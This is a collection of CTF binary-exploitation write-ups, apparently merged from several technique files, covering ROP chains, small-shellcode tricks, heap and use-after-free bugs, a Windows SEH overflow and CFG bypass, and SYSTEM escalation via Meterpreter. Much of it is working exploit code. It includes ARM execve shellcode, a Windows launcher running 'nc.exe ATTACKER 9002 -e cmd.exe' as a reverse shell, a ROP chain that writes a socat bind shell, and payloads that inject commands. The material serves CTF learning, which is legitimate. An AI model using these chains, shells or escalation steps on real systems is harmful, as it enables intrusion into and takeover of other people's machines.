When to recognize: Challenge involves file format parsing (media, archives, protocols) with custom integer conversion. Look for manual sign-extension patterns. The leak is incremental — each query reveals one byte, requiring many iterations.
References: BSidesSF 2026 "if-it-leads"
---
ROP Chain Construction with Read-Only Primitive (BSidesSF 2026)
Pattern (readme): Binary provides only a read() primitive (no write, no secret function). Build a ROP chain by: 1. Use read() to probe the stack and find the buffer-to-return-address offset 2. Leak libc base from GOT entries 3. Scan libc's .rodata and .text sections for byte patterns that match needed ROP gadget addresses 4. Use read(0, stack_addr, N) to place gadget addresses on the stack by reading specific libc offsets that happen to contain the right bytes 5. Chain: open("flag.txt") -> read(fd, buf, size) -> write(1, buf, size)
from pwn import *
elf = ELF('./readme')
libc = ELF('./libc.so.6')
r = remote("target", 1337)
# Step 1: Find offset — fill buffer with pattern, read back from stack
r.sendline(b"read " + p64(stack_addr))
leak = r.recvn(8)
offset = find_pattern_offset(leak)
# Step 2: Leak libc base
r.sendline(b"read " + p64(elf.got['read']))
libc_read = u64(r.recvn(8))
libc_base = libc_read - libc.symbols['read']
# Step 3: Build ORW ROP chain using libc gadgets
pop_rdi = libc_base + find_gadget(libc, "pop rdi; ret")
pop_rsi = libc_base + find_gadget(libc, "pop rsi; ret")
pop_rdx = libc_base + find_gadget(libc, "pop rdx; ret")
rop = flat([
pop_rdi, 0, # fd = stdin for read
# ... read flag path onto stack, then open/read/write chain
])Key insight: A read-only primitive is sufficient for full exploitation. The key realization: libc contains billions of byte patterns across .text, .rodata, .data, and .bss sections. By reading from specific libc offsets, you can "import" arbitrary byte values onto the stack. This eliminates the need for a write primitive — you write to the stack indirectly by reading from addresses whose content matches your desired payload.
When to recognize: Binary has read() but no write() or win function. The read primitive lets you both leak values AND place data on the stack. The challenge becomes finding the right source addresses in libc to read from, not constructing gadgets.
References: BSidesSF 2026 "readme"
---
4-Byte Shellcode with Timing Side-Channel via Persistent Registers (Google CTF 2017)
Pattern: When a binary executes only 4 bytes of user shellcode in a 4096-iteration loop, exploit persistent callee-saved registers (r12-r15) to build complex exploits incrementally.
from pwn import *
# Phase 1: Leak stack address via timing (4096x amplification)
# add r12, [rsp] — accumulate stack value into r12
shellcode = asm("add r12, [rsp]") # 4 bytes
# Timing difference reveals r12 value (large r12 = more loop iterations)
# Phase 2: Write shellcode byte-by-byte to BSS
# mov [r15], r12b — write accumulated byte to target
shellcode = asm("mov [r15], r12b") # 4 bytes
# Phase 3: Stack pivot via 4-byte gadget
shellcode = asm("push rsp; pop rdi; push r15") # exactly 4 bytesKey insight: Callee-saved registers (r12-r15) persist across the 4096 loop iterations and between separate submissions. The 4096x loop amplifies timing differences enough for reliable side-channel measurement, while iterative register operations build complex state from minimal per-round instructions.
When to recognize: Challenge provides a very small shellcode window (4-8 bytes) but executes it in a loop or allows multiple submissions. Check whether callee-saved registers are preserved between iterations.
References: Google CTF 2017
---
CRC Oracle as Arbitrary Read Primitive (ASIS CTF 2017)
Pattern: When a service exposes CRC computation on user-controlled data with a pointer overflow, brute-force single-byte CRC results against a 256-entry lookup table to read arbitrary memory.
from pwn import *
CRCLOOKUP = [crc8(bytes([b])) for b in range(256)] # precompute
def read_byte(addr):
payload = b"A" * 100 + p32(addr) # overflow pointer to target address
crc_result = int(get_crc(1, payload), 16) # CRC of 1 byte at addr
return CRCLOOKUP.index(crc_result) # reverse lookup
def read_dword(addr):
return sum(read_byte(addr + i) << (i * 8) for i in range(4))
# Chain: leak GOT → libc base → __environ → canary → ROP
got_value = read_dword(elf.got['puts'])
libc_base = got_value - libc.sym['puts']
environ = read_dword(libc_base + libc.sym['__environ'])
canary = read_dword(environ - CANARY_OFFSET)Key insight: A CRC function is a bijection on single bytes — each input byte produces a unique CRC. By overflowing a pointer to control the CRC input address and precomputing all 256 single-byte CRCs, each byte of arbitrary memory is recovered via reverse lookup. Chain multiple reads to leak GOT entries, libc base, stack addresses, and canary values.
When to recognize: Service computes a checksum or hash on data at a user-influenced address. If the checksum is bijective on single bytes (CRC-8, simple XOR, etc.), it becomes an arbitrary read oracle.
References: ASIS CTF 2017
---
UTF-8 Case Conversion Buffer Overflow (HITB CTF 2017)
Pattern: g_utf8_strup() (GLib uppercase conversion) can return more bytes than the input when certain multi-byte UTF-8 characters expand during case conversion.
from pwn import *
# \xd6\x87 is a 2-byte UTF-8 char that becomes 4 bytes when uppercased
# 68 such characters: 68 * 2 = 136 input bytes → 68 * 4 = 272 output bytes
# If buffer allocated for input length, output overflows
payload = b"\xd6\x87" * 68 + b"$0;".ljust(8, b" ") + p32(0x400890)Key insight: Unicode case conversion can change the byte length of characters. Certain UTF-8 sequences (like U+0587, Armenian small ligature) expand from 2 bytes to 4 bytes when uppercased. If a buffer is sized based on the input length, the longer output overflows it. This affects any code using GLib's g_utf8_strup()/g_utf8_strdown(), ICU's u_strToUpper(), or similar Unicode-aware case conversion functions.
When to recognize: Binary performs Unicode case conversion (upper/lower) on user input before copying to a fixed-size buffer. Look for GLib, ICU, or custom UTF-8 processing functions. The overflow ratio depends on the specific characters used.
References: HITB CTF 2017
---
See advanced-exploits.md for VM signed comparison, BF JIT shellcode, type confusion, off-by-one index corruption, DNS overflow, ASAN shadow memory, format string with encoding constraints, custom canary preservation, signed integer bypass, CSV injection, MD5 preimage gadgets, VM GC UAF slab reuse, path traversal sanitizer bypass, and FSOP + seccomp bypass.
See advanced-exploits-2.md for bytecode validator bypass, io_uring UAF with SQE injection, integer truncation bypass, GC null-reference cascading corruption, leakless libc via multi-fgets, signed/unsigned char underflow with TLS destructor hijack, custom shadow stack bypass, and signed int overflow with XSS-to-binary pwn bridge.
CTF Pwn - Advanced Exploit Techniques (Part 4)
Windows exploitation, ARM shellcode, Forth interpreter exploitation, and GF(2) Gaussian elimination for heap corruption.
Table of Contents
- Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
- SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
- ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)
- Forth Interpreter Command Execution (32C3 2015)
- GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)
- Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)
- Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)
- UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)
- mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)
- Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)
- strcspn as Indirect Null Byte Injection (BSidesSF 2017)
- Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)
- Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)
- Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)
- ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)
- OOB Dispatch Table Read via Attacker-Controlled rdx Index (TAMUctf 2019)
---
Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
Pattern: 32-bit Windows PE (Portable Executable) with ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention), and GS (stack cookie) enabled but SafeSEH disabled. Combine format string leak (defeats ASLR) with SEH-based (Structured Exception Handler) buffer overflow using VirtualAlloc ROP chain to bypass DEP.
Attack chain: 1. Format string leak defeats ASLR: User input used as printf format string leaks code pointer at position 2: LST %p-%p-%p-%p-%p -> binary_base = int(leaks[1], 16) - 0x14120 2. Buffer overflow triggers SEH: sprintf("Path: %s", user_path) into 1024-byte buffer overflows into SEH handler chain 3. Stack pivot via SEH handler: add esp, 0xe10; ret redirects from exception context into ROP chain 4. Ret-slide absorbs crash variation: 30x ret gadgets at start of ROP chain absorb variable crash offset 5. pushad VirtualAlloc technique: Set all 8 registers to correct values, then pushad builds the entire VirtualAlloc(lpAddress, dwSize=1, flAllocationType=0x1000, flProtect=0x40) call frame in one instruction 6. IAT-relative function resolution: VirtualAlloc not in IAT (Import Address Table), but TlsAlloc is. Read [TlsAlloc@IAT], add offset to get VirtualAlloc address -- offset calculated from provided kernel32.dll 7. jmp esp to shellcode: After VirtualAlloc marks stack RWX (Read-Write-Execute), jmp esp executes shellcode that follows
# Key ROP chain structure (simplified)
rop = p32(base + RET) * 30 # ret-slide for stability
# Set flProtect = 0x40 (PAGE_EXECUTE_READWRITE) via subtraction (avoid nulls)
rop += p32(base + POP_EAX) + p32(0x8314c2ab)
rop += p32(base + SUB_EAX) # sub eax, 0x8314c26b -> eax = 0x40
# Resolve VirtualAlloc: [TlsAlloc@IAT] + offset
rop += p32(base + POP_EAX) + p32(base + TLSALLOC_IAT)
rop += p32(base + MOV_EAX_DEREF_EAX) # eax = TlsAlloc address
rop += p32(base + ADD_EAX_EDI) # eax = VirtualAlloc address
# pushad builds call frame, jmp esp runs shellcode
rop += p32(base + PUSHAD_RET)
rop += p32(base + JMP_ESP)Bad characters for shellcode: \x00 (sprintf null), \x09-\x0d (whitespace), \x20 (space), \x25 (% triggers format string). Encode with msfvenom's shikata_ga_nai to avoid these bytes.
Detached process for shell stability: When exploiting thread-based servers, child processes die with the parent thread. Compile a launcher with CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS flags:
// i686-w64-mingw32-gcc launcher.c -o launcher.exe -static
#include <windows.h>
int main() {
STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
CreateProcessA(NULL, "C:\\shared\\nc.exe ATTACKER 9002 -e cmd.exe",
NULL, NULL, FALSE,
CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
return 0;
}Key insight: pushad pushes all 8 general-purpose registers (EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX) onto the stack in one instruction. By pre-loading each register with the correct value, pushad builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for mov [esp+N], reg gadgets which are rare.
---
SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
Exploits SeDebugPrivilege to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use.
Steps: 1. Upload Meterpreter payload and obtain a session 2. Migrate into a SYSTEM-level process:
meterpreter > migrate -N winlogon.exe
meterpreter > getuid
# NT AUTHORITY\SYSTEMMeterpreter's migrate injects a DLL into the target process (winlogon.exe, lsass.exe), running code as that process's user (SYSTEM).
Detection: whoami /priv shows SeDebugPrivilege. Common on service accounts and NT AUTHORITY\SERVICE.
Key insight: Always run whoami /priv after landing a Windows shell. SeDebugPrivilege -- even when shown as "Disabled" -- is a direct path to SYSTEM via process migration.
---
ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)
ARM exploitation differs from x86 in several key ways:
1. Register conventions: PC (program counter) instead of EIP; LR (link register) for return addresses 2. Thumb mode: Set bit 0 of target address to 1 to switch to Thumb (16-bit) instructions, which avoids null bytes more easily 3. Syscall numbers: Different from x86 (execve = 11, dup2 = 63)
Socket-based ARM Thumb shellcode (dup2 + execve):
.syntax unified
.thumb
dup2_loop:
mov r1, r6 @ socket fd (leaked or known)
mov r0, #0 @ stderr=0, increment for stdout, stdin
movs r7, #0x3f @ __NR_dup2 = 63
svc #1
add r0, #1
cmp r0, #3
blt dup2_loop
execve:
adr r0, shell
eor r1, r1 @ argv = NULL
eor r2, r2 @ envp = NULL
movs r7, #0xb @ __NR_execve = 11
svc #1
shell: .ascii "/bin/sh\x00"Cross-compile and test with QEMU:
arm-linux-gnueabi-as -mthumb -o sc.o shellcode.s
arm-linux-gnueabi-ld -o sc sc.o
qemu-arm -g 1234 ./sc # Debug with gdb-multiarchKey insight: Use qemu-arm for local testing and gdb-multiarch for debugging. Statically-linked ARM binaries contain all gadgets needed for ROP without library dependencies.
---
Forth Interpreter Command Execution (32C3 2015)
Forth interpreters may expose a system word that executes shell commands. When interacting with a Forth-based service:
s" cat /flag" system
s" ls -la" system
s" /bin/sh" systemThe s" word pushes a string address and length onto the stack; system pops them and executes via the shell. Check for other dangerous words: included (file inclusion), open-file, read-file.
---
GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)
When a binary applies a deterministic XOR cipher to heap data (corrupting adjacent tcache fd pointers as a side effect), and each cipher seed produces a different XOR keystream at the fd offset, model the corruption as a linear algebra problem over GF(2) to find exactly which seeds transform the fd to a target address.
Problem formulation: Given current fd value C and target T, compute delta D = C ^ T. Each seed i produces a 64-bit XOR vector v_i at the fd offset. Find a subset S of seeds where XOR(v_i for i in S) == D.
def find_subset_xor(vectors, target):
"""Find subset of 64-bit vectors that XOR to target via GF(2) Gaussian elimination"""
n = len(vectors)
basis = {} # bit_position -> (vector_value, set_of_contributing_indices)
for i, v in enumerate(vectors):
mask = frozenset([i])
val = v
for bit in range(63, -1, -1):
if not (val >> bit) & 1:
continue
if bit in basis:
val ^= basis[bit][0]
mask = mask.symmetric_difference(basis[bit][1])
else:
basis[bit] = (val, mask)
break
# Solve for target
result = frozenset()
val = target
for bit in range(63, -1, -1):
if (val >> bit) & 1:
if bit not in basis:
raise ValueError("Target not in span")
val ^= basis[bit][0]
result = result.symmetric_difference(basis[bit][1])
return result
# Precompute XOR vectors: run cipher with each seed, extract 8 bytes at fd offset
vectors = {}
for seed in range(10000):
keystream = djb2_cipher(seed, length=0x90)
xor_at_fd = u64(keystream[0x88:0x90]) # fd is at offset 0x88 in chunk
vectors[seed] = xor_at_fd
# Compute target delta (safe-linking aware)
current_fd = leaked_fd # From heap over-read
target_fd = (io_list_all - 0x10) ^ (chunk_addr >> 12) # Mangled target
delta = current_fd ^ target_fd
seeds_to_apply = find_subset_xor(vectors, delta)
# Apply each seed sequentially -- order doesn't matter (XOR is commutative)
for seed in seeds_to_apply:
apply_cipher(chunk_idx, seed)Typical result: ~30-35 seeds from a 10,000-seed space. Each application XORs one vector into the fd, cumulatively producing the exact target.
Key insight: Any deterministic byte-level transformation of heap metadata can be modeled as GF(2) linear algebra when the operation is XOR. This generalizes beyond specific cipher implementations -- it applies whenever you can repeatedly XOR predictable patterns into a target value.
---
Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)
Pattern (butterfly): Binary accepts an integer, computes address = input >> 3 and bit = input & 7, then flips *address ^= (1 << bit) after making the page RWX via mprotect. Single bit flip per invocation, but chaining multiple flips builds arbitrary code.
Exploitation strategy:
1. Create a loop: Flip a bit in the function epilogue add rsp, 0x48 to add rsp, 0x08, causing stack misalignment that reuses buffer contents as return address. Set return address to function start for repeated invocations:
# Flip bit 6 at address 0x400863 to change 0x48 -> 0x08
cosmic_ray = (0x400863 << 3) | 6 # = 335716142. Craft `jmp rsp`: Flip one bit of an existing jmp rax instruction (0xFF 0xE0) to jmp rsp (0xFF 0xE4):
cosmic_ray = (0x4006E6 << 3) | 2 # = 335685623. Disable stack canary check: Flip the conditional jump (jnz) at the canary check to a non-branching instruction:
# 0x75 (jnz) ^ 0x40 = 0x35 (xor eax, imm32)
cosmic_ray = (0x40085B << 3) | 64. Expand input buffer: Flip a bit in the fgets size argument to read more bytes for shellcode
5. Make stack RWX: Flip mov r15, rbp to mov r15, rsp so mprotect targets the stack
6. Inject shellcode on the now-RWX stack, return to jmp rsp
Alternative approach: XOR shellcode with existing .text bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location.
Key insight: A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) mprotect arguments (change memory permissions), (d) size parameters (expand read buffers).
---
Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)
Pattern (b3s23): Binary reads coordinates for Conway's Game of Life cells on a 110x110 grid, runs 15 iterations, then executes the grid data as machine code. Construct a board that remains stable through 15 iterations while containing valid x86 shellcode.
Approach — static shellcode rows:
1. Place x86 instructions in specific rows of the grid 2. Use Game of Life "still-life" patterns (stable configurations) on surrounding rows to keep the shellcode rows unchanged through all iterations 3. Connect shellcode rows with JMP instructions to skip non-code rows
Row N-1: still-life border pattern (keeps row N stable)
Row N: > shellcode bytes | JMP to next row
Row N+1: still-life border pattern
Row N+2: (empty or border)Shellcode constraints:
- Avoid 5+ consecutive 1-bits (no small still-life can stabilize these)
- Use
add al, 0(0x04 0x00) as NOP separator between instructions (all bits off) - Adjacent "wall" patterns (vertical columns of 1s) must match at boundaries
- Two columns of 0s between patterns prevents interference
Useful still-life patterns for embedding:
Block: xx Snake: xx x
xx x xx# Convert board to coordinates and feed to binary
import re
from pwn import *
rows = open('board.txt').read().split('\n')
coords = []
for y, row in enumerate(rows):
for m in re.finditer('x', row):
coords.append((m.start(), y))
p = process('./b3s23')
for x, y in coords:
p.sendline(f'{x},{y}')
p.sendline('done')
p.interactive()Key insight: Game of Life still-lifes are patterns unchanged by the update rules. By embedding shellcode in rows surrounded by still-life borders, the code survives all iterations. The simplest strategy is to read() real shellcode onto the grid after gaining execution, avoiding complex Game of Life-aware instruction encoding.
---
UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)
Pattern (unix_time_formatter): Menu-driven binary uses strdup() to allocate user input (format string, timezone) and free() on exit. Exit option frees allocations but asks "Are you sure?" — answering "no" returns to the menu with dangling pointers. New allocations via strdup() reuse the freed memory.
Exploitation:
1. Set format string (validated for safe characters: %aAbBcC...) 2. Set timezone (no input validation) 3. Choose exit → both pointers freed, but answering "no" continues 4. Set timezone twice — second strdup() reuses the format string's freed allocation 5. Format string pointer now points to attacker-controlled timezone data 6. "Print time" executes system("/bin/date -d @TIME +'FORMAT'") with injected format:
from pwn import *
p = remote('target', 9999)
p.sendlineafter('>', '1') # Set format
p.sendlineafter('Format:', '%c')
p.sendlineafter('>', '3') # Set timezone
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '5') # Exit (frees both)
p.sendlineafter('(y/N)?', 'n') # Don't actually exit
p.sendlineafter('>', '3') # Reallocate into freed format slot
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '3') # Second alloc gets other freed slot
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '4') # Print → shell
p.interactive()Key insight: strdup() uses malloc() internally, so freed strdup buffers enter the malloc freelist and are reused by subsequent strdup() calls of similar size. When the "exit" path frees memory but allows returning to the menu, any field with strict input validation (format) can be overwritten via a field without validation (timezone) through UAF freelist reuse. The system() call then executes the unvalidated content.
---
mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)
Pattern (UploadCenter): A PNG upload service uses mmap(width*height) for image storage but munmap(compressed_length) to free it. When compressed length exceeds image dimensions, munmap frees more memory than was mapped, unmapping adjacent regions. Chain: (1) upload large PNG so its mmap lands adjacent to a global output buffer; (2) delete PNG — munmap frees both the image AND the output buffer; (3) spawn a thread — pthread_create mmaps a stack into the freed gap, overlapping the still-referenced output buffer; (4) upload new PNG — decompressed data written through the output buffer overwrites the thread's stack for ROP.
# Trigger: allocation uses image dimensions, deallocation uses compressed size
# img = mmap(0, width*height, ...) # small allocation
# pngobj->length = compressed_length # larger than width*height
# munmap(pngobj->content, pngobj->length) # OVER-UNMAP!
# Exploit chain:
upload_png(large_png) # mmap lands near global output buffer
delete_png() # munmap frees output buffer region too
start_monitor() # pthread_create mmaps stack into freed gap
upload_rop_png(rop_payload) # decompress writes through output buf -> thread stackKey insight: The mmap/munmap size mismatch creates an "over-unmap" that silently destroys adjacent mappings. When a new thread's stack fills the gap, the old buffer pointer becomes a write-what-where into the thread's stack frame. This is a race-free UAF variant that doesn't require heap metadata corruption.
---
Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)
Pattern (memo): The new_memo function stores the user-supplied memo index into a global variable before validating bounds. The allocation is rejected for out-of-bounds values, but the global last_memo retains the invalid index. The edit_memo function uses last_memo without bounds checking, and the program stores stack pointers at indices 5-9 of the array during new_memo. Setting last_memo=6 causes edit_memo to write through a stack address, enabling direct stack overwrites.
# Bug: global index set BEFORE bounds check
# new_memo:
# last_memo = user_index # stored here
# if user_index > 4: reject # checked too late
# memos[user_index + 5] = &stack_local # stack addr in array!
# Exploit:
new_memo(6) # rejected, but last_memo = 6
# memos[11] = stack pointer from new_memo's frame
edit_memo(payload) # writes through memos[6] which IS a stack address
# payload overwrites return address -> hidden shellcode executor functionKey insight: TOCTOU-style vulnerability in a single function — the index is committed to global state before validation rejects it. Combined with the program storing stack addresses in the same array, this turns an invalid index into a direct stack write primitive. Look for patterns where global state is updated before error checking.
---
strcspn as Indirect Null Byte Injection (BSidesSF 2017)
Pattern (Steel Mountain: Sensors): A CGI binary constructs filenames via snprintf("sensors/%s.cfg", input). Direct null byte injection is blocked by the CGI library. After snprintf, strcspn(buf, "\r\n") is called and the result index is used to write a null byte (terminating at the first newline). Injecting %0A (URL-encoded newline) after the desired filename causes: sensors/../flag.txt\n.cfg → null byte written at the \n position → sensors/../flag.txt\0.cfg, truncating the .cfg extension.
# Request: sensor=../flag.txt%0A&debug
# snprintf produces: "sensors/../flag.txt\n.cfg"
# strcspn("sensors/../flag.txt\n.cfg", "\r\n") = 23
# buf[23] = '\0'
# Result: "sensors/../flag.txt" (null-terminated, .cfg removed)
# -> reads /flag.txt via path traversalKey insight: strcspn followed by null-byte write is a common C pattern for line termination. When user input reaches this code path with injected newlines, it becomes an indirect null byte injection vector — even when direct null bytes are filtered by the input layer (CGI, HTTP).
---
Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)
Pattern: Windows Control Flow Guard (CFG) validates indirect call targets at runtime, but system() from msvcrt is a valid CFG target, enabling exploitation via function pointer overwrite.
from pwn import *
# On Windows with CFG, overwrite function pointer with system()
# system() is a valid call target in CFG bitmap — it's a legitimate API entry point
# CFG only validates that the target is a valid function start, not WHICH function
# If input filter blocks space (0x20), use comma as argument separator
# cmd.exe treats comma as equivalent to space in argument lists
payload = b"type,flag.txt&whoami^/all\x00"
# 'type,flag.txt' works because cmd.exe treats comma as argument separator
# ^ escapes the / character
# & chains commands
# Exploit chain:
# 1. Leak module base (defeat ASLR)
# 2. Find system() address via IAT or known offset in msvcrt
system_addr = msvcrt_base + system_offset
# 3. Overwrite a function pointer (vtable entry, callback, etc.)
write_addr(vtable_entry, system_addr)
# 4. Trigger the indirect call with controlled first argument
# The overwritten pointer now calls system(attacker_string)
trigger_call(payload)// Alternative: if building a local exploit, bypass character filters
// Comma replaces space, ^ escapes special chars
// system("type,flag.txt") == system("type flag.txt")
// system("cmd,/c,dir") == system("cmd /c dir")Key insight: CFG only validates that the target is a valid function entry point -- it does not restrict which function is called. Since system() is a legitimate API exported by msvcrt, it passes CFG validation. Use comma instead of space and ^ for escaping when the input filter restricts certain characters. This applies to any Windows binary with CFG where you can overwrite an indirect call target.
When to recognize: Windows binary with CFG enabled (check with dumpbin /headers or winchecksec). Look for writable function pointers (vtables, callbacks, C++ objects) that are called via indirect call [reg] instructions. CFG prevents jumping to arbitrary code but allows calling any valid function.
References: Insomni'hack 2017
---
Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)
Pattern: Binary uses a neural network to compute an index into a function pointer array without bounds checking. Edit neuron weights/biases to make the network output an out-of-bounds index pointing to win function.
Attack chain: 1. Reverse engineer the NN architecture: input layer -> hidden layer -> output neuron 2. Identify the function pointer array and the target print_flag function at index 19 (beyond valid range) 3. The bias array is stored as IEEE 754 doubles -- the target address can be encoded directly as a bias value 4. Retrain/edit weights so the network's output neuron produces index 19 for any input 5. The OOB index reads from the biases array, interpreting the print_flag address as a function pointer
import struct
import numpy as np
# Target: function pointer array has 10 valid entries (indices 0-9)
# print_flag is at a known address, need index 19 to reach it in memory
target_index = 19
# The NN output is: sigmoid(sum(w_i * x_i) + bias) * num_functions
# To force output = 19, adjust weights and biases:
# Set all hidden->output weights to 0 except bias
# bias = inverse_sigmoid(19 / num_entries) ... but simpler:
# Overwrite the bias in the model file to encode print_flag address
print_flag_addr = 0x08048686
bias_bytes = struct.pack('<d', float(target_index))
# Patch the model weights file
with open('model.bin', 'r+b') as f:
f.seek(bias_offset)
f.write(bias_bytes)
# When the NN runs: output index = 19 -> array[19] reads from biases
# biases[offset] contains print_flag address as IEEE 754 doubleKey insight: The target address (print_flag) is encoded as an IEEE 754 double in the biases array. The NN is retrained to output index 19 (beyond the valid array), which reads the bias value as a function pointer. Neural network models that compute array indices without bounds checking turn ML parameter editing into arbitrary function dispatch.
---
Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)
Pattern: When shellcode is limited to N unique bytes, use the first run to spray the stack with push instructions, corrupting the uniqueness counter (seen[256]). Arrange re-execution of main (skipping memset) so the counter overflows below N, then send arbitrary shellcode on the second run.
Exploitation strategy: 1. The binary checks seen[256] on the stack to count unique bytes in shellcode 2. If more than N unique bytes are found, execution is rejected 3. First payload uses only a few unique bytes but sprays the stack with push instructions 4. The push spray overwrites the seen[256] counter array on the stack 5. Arrange the shellcode to jump back to main but past the memset that clears seen[] 6. On the second run, the corrupted counter already shows values above threshold, and overflow arithmetic causes the unique count to appear below N
from pwn import *
# First run: corrupt seen[] counter via stack spray
# Use minimal unique bytes: pop rbx, dec rbx, push rbx, inc rsp, jmp rbx
payload1 = asm("pop rbx; " + ("dec rbx; " * (0x72f - 0x6d2)) +
("push rbx; " * 64) + "inc rsp; jmp rbx")
io.send(payload1)
# Second run: full shellcode passes because seen[256] overflowed back to <7
payload2 = asm(shellcraft.sh())
io.send(payload2)
io.interactive()Key insight: The unique-byte counter lives on the stack at seen[256]. Spraying the stack with push instructions during the first shellcode run corrupts this counter. When main re-executes without clearing the array, the overflowed counter allows arbitrary bytes in the second payload. Any stack-resident validation state can be corrupted by shellcode that targets the stack frame above it.
---
See advanced-exploits.md for VM signed comparison, BF JIT shellcode, type confusion, ASAN shadow memory, format string with encoding constraints, MD5 preimage gadgets, VM GC UAF, FSOP + seccomp bypass, and stack variable overlap techniques.
See rop-advanced.md for .fini_array hijack details.
See sandbox-escape.md for shell tricks and restricted environment techniques.
---
ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)
Pattern: ARM64 system() requires x0 to hold the pointer to the command string. Full ASLR + mangled PLT leave no clean one-gadget. But libc's getusershell() returns a pointer to the static string "/bin/sh" inside libc itself, and places it in x0 as its return value. A two-call ROP chain — getusershell() then system() — wins without needing any register-loading gadget.
from pwn import *
libc = ELF("./libc-2.27.so")
def get_libc_base(leak):
return leak - libc.symbols["printf"]
libc_base = get_libc_base(leak_from_bug)
libc.address = libc_base
rop = ROP(libc)
rop.raw(rop.find_gadget(["ret"]).address) # align stack
rop.call(libc.symbols["getusershell"]) # x0 ← "/bin/sh" (side effect)
rop.call(libc.symbols["system"]) # system("/bin/sh")
payload = cyclic(offset_to_pc) + rop.chain()
io.sendline(payload)
io.interactive()Key insight: ARM64 has far fewer stack-popping gadgets than x86-64, so classic pop rdi; ret chains rarely exist. Instead look for libc functions whose return value is a constant pointer that gets stored in the ABI's first-arg register: getusershell(), getenv("SHELL"), getpwuid(0)->pw_shell, tmpnam(). Chain any of them with system()/execve() and you get an implicit arg-setup for free. This trick generalises to any calling convention where the return register equals the first-arg register (ARM32/64, MIPS, RISC-V).
References: HITCON CTF 2018 — tooooo, writeup 11908
---
OOB Dispatch Table Read via Attacker-Controlled rdx Index (TAMUctf 2019)
Pattern (pwn6): Multi-command server dispatches incoming messages through a per-user function-pointer array:
mov rax, [rax + rdx*8 + 0x8] ; rdx = attacker-controlled index (u32 field of message)
call raxThe allowed-commands check reads [rax + rdx*8] for a null-pointer slot but never validates that rdx is in range — so any negative or large index pulls an adjacent memory qword into rax and calls it. Pick an rdx that lands on a stack-pivot gadget (add rsp, 0x58; ret) so the subsequent call leaves the message payload (also placed at rsp+0x58) as a full ROP chain.
import pwn
STACK_PIVOT = 0x409070 # add rsp, 0x58; ret
POP_RDI = 0x4021ce
POP_RAX = 0x409073
MOV_QW_RAX_RDI = 0x408e46 # mov [rax+0x10], rdi; ret -> arbitrary write
SYSTEM_PLT = 0x401a10
BINSH = 0x006d1000 # writable BSS slot we populate first
def array_lookup(rdx, payload):
# Message format: cmd=0x0a, 2-byte flags, then 32-bit rdx, then payload
return b'\x0a' + b'\x00'*2 + b'\x00' + pwn.p32(rdx - 4) + payload
rop = pwn.p64(STACK_PIVOT)
rop += write_what_where(b'socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"/bin/sh"\x00', BINSH)
rop += pwn.p64(POP_RDI) + pwn.p64(BINSH)
rop += pwn.p64(0x401e7c) * 3 # ret-slides for 16-byte alignment
rop += pwn.p64(SYSTEM_PLT)
p = pwn.remote('127.0.0.1', 6210)
p.send(array_lookup(0x6c, rop)) # rdx=0x6c -> points at pivot gadgetKey insight: Every "permission check" that inspects an entry of a dispatch table (table[i] != NULL) is useless unless bounds are enforced before the read. When the read has the shape mov rax, [base + rdx*8 + C], any aligned 8-byte qword in the binary can be reached as a function pointer without needing to overflow or corrupt anything. Scan the binary for useful function-pointer-shaped qwords within ±0x1000 of base; stack pivots that reach a large message buffer produce a full ROP without further bugs, since the pivot lands RSP exactly on attacker data.
References: TAMUctf 2019 — pwn6, writeup 13479
CTF Pwn - Advanced Exploit Techniques (Part 5)
Data-interpretation exploitation — cases where the vulnerable program reinterprets attacker-controlled data (bytecode, floats, hash values) in ways that bypass bounds checks or stack protection. For earlier advanced exploits, see advanced-exploits.md, advanced-exploits-2.md, advanced-exploits-3.md, and advanced-exploits-4.md.
Table of Contents
- Chip-8 Emulator Out-of-Bounds Memory for ret2libc (IceCTF 2018)
- Double-Precision Float Quicksort Canary Repositioning (CSAW 2018)
- Bloom Filter abs(INT_MIN) Negative Index OOB Write (DragonCTF Teaser 2018)
---
